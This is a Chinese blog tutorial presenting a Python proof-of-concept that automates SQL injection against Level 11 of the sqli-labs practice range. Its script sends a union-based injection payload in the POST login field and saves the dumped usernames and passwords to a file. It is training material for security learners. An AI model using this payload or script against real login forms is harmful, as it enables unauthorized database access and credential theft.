当前位置: 首页 > article >正文

sqli-labs靶场自动化利用工具——第11关

文章目录

  • 概要
  • 整体架构流程
  • 技术细节
  • 执行效果
  • 小结

概要

Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生,或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢?可能有些人会说不是有sqlmap,那我们又何须使用这个小脚本呢?这里我统一回答,sqlmap只是一个工具,工具始终是不能代替人的思考。开发这个测试的脚本他都是有针对性的,他是针对每一关的精心设计。但凡脱离实际都是在空想。我也是一直围绕这个主题,所以想到了开发能自动化测试sqli-labs靶场每一关的POC。最后这个只能用于有基础的网安人进行学习,学习网安路还是不能投机取巧的。

本章适合人群:

  1. 网安专业学生
  2. 报班学习网安内容的同学
  3. 提高写POC能力的网安从业者

整体架构流程

因为是sqli-labs的第11关,且我觉得名字很是麻烦,所以我在写脚本的时候错将sqli-labs写成了sql-libs请见谅。如果你有强迫症可以自行修改。

整体流程主要是仿爬虫的形式访问网页,之后将得到的数据记录在和py文件同一级的目录下面。

第11关使用的单引号注入,且和第一关很像。

不同点只是第一关是get请求,第11关是post请求。

技术细节

import requests
import re
import os
print("当前工作目录:", os.getcwd())

# 全局变量
url = 'http://sql:8081/Less-11/'
headers = {
    'Host': 'sql:8081',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '131',  # 根据data参数的长度进行修改
    'Origin': 'http://sql:8081',
    'Connection': 'close',
    'Referer': 'http://sql:8081/Less-11/',
    'Upgrade-Insecure-Requests': '1',
    'Priority': 'u=0, i'
}

data = {
    'uname': "-1' union select 1,(select group_concat(username,0x3a,password) from users)-- -",
    'passwd': 'password'
}

response = requests.post(url, headers=headers, data=data, verify=False)
html_content = response.text
pattern = r'Your Password:(.*?)<br>'
matches = re.search(pattern, html_content)

if matches:
    passwords = matches.group(1)
    pairs = passwords.split(',')  # 使用逗号分隔用户名和密码的组合
    file_path = os.path.join(os.getcwd(), 'data.txt')

    with open(file_path, 'w') as f:
        for pair in pairs:
            # 分割用户名和密码
            username, password = pair.split(':')
            # 写入用户名和密码到文件
            f.write(f'{username.strip()}, {password.strip()}\n')

    print('Data have been extracted and saved to data.txt.')
else:
    print("No match found")

执行效果

小结

由于我的sqli-labs靶场是搭建在我的本机,所以使用代码时需要进行修改。

且想输出不一样的文件内容格式,也可以进行微调整。

最后还是那句话网安的路上不会一帆风顺,还需脚踏实地一步一个脚印的前行,仅用于POC的学习使用,其他使用与作者无关。


http://www.kler.cn/a/310878.html

相关文章:

  • 高效稳定!新加坡服务器托管方案助力企业全球化布局
  • 大数据新视界 -- 大数据大厂之 Impala 存储格式转换:从原理到实践,开启大数据性能优化星际之旅(下)(20/30)
  • 成都睿明智科技有限公司解锁抖音电商新玩法
  • 【算法一周目】双指针(2)
  • Window下PHP安装最新sg11(php5.3-php8.3)
  • 前端请求后端php接口跨域 cors问题
  • 【深度学习】(2)--PyTorch框架认识
  • 设计模式(Design Patterns)
  • springBoot整合mybatisplus
  • 学习风格的类型
  • 内核是如何接收网络包的
  • FLUX屠榜了小红书,平台这会也真假难辨
  • PMP 报考条件是有哪些?
  • 【mysql】mysql中窗口函数lag()用法
  • HarmonyOS开发实战( Beta5.0)蓝牙实现服务端和客户端通讯详解
  • 面向对象设计的五大原则(SOLID 原则)
  • Jsp学习笔记(详解)
  • 【2025】儿童疫苗接种预约小程序(源码+文档+解答)
  • python 实现collatz sequence考拉兹序列算法
  • 如何使用下拉字段创建WordPress表单(简单方法)
  • 1.熟悉接口测试(Postman工具)
  • JavaWeb笔记整理——Redis
  • 程序员装新机
  • 【架构设计】多级缓存:应用案例与问题解决策略
  • Linux入门学习:Linux权限理解
  • PyQGIS开发 1 环境配置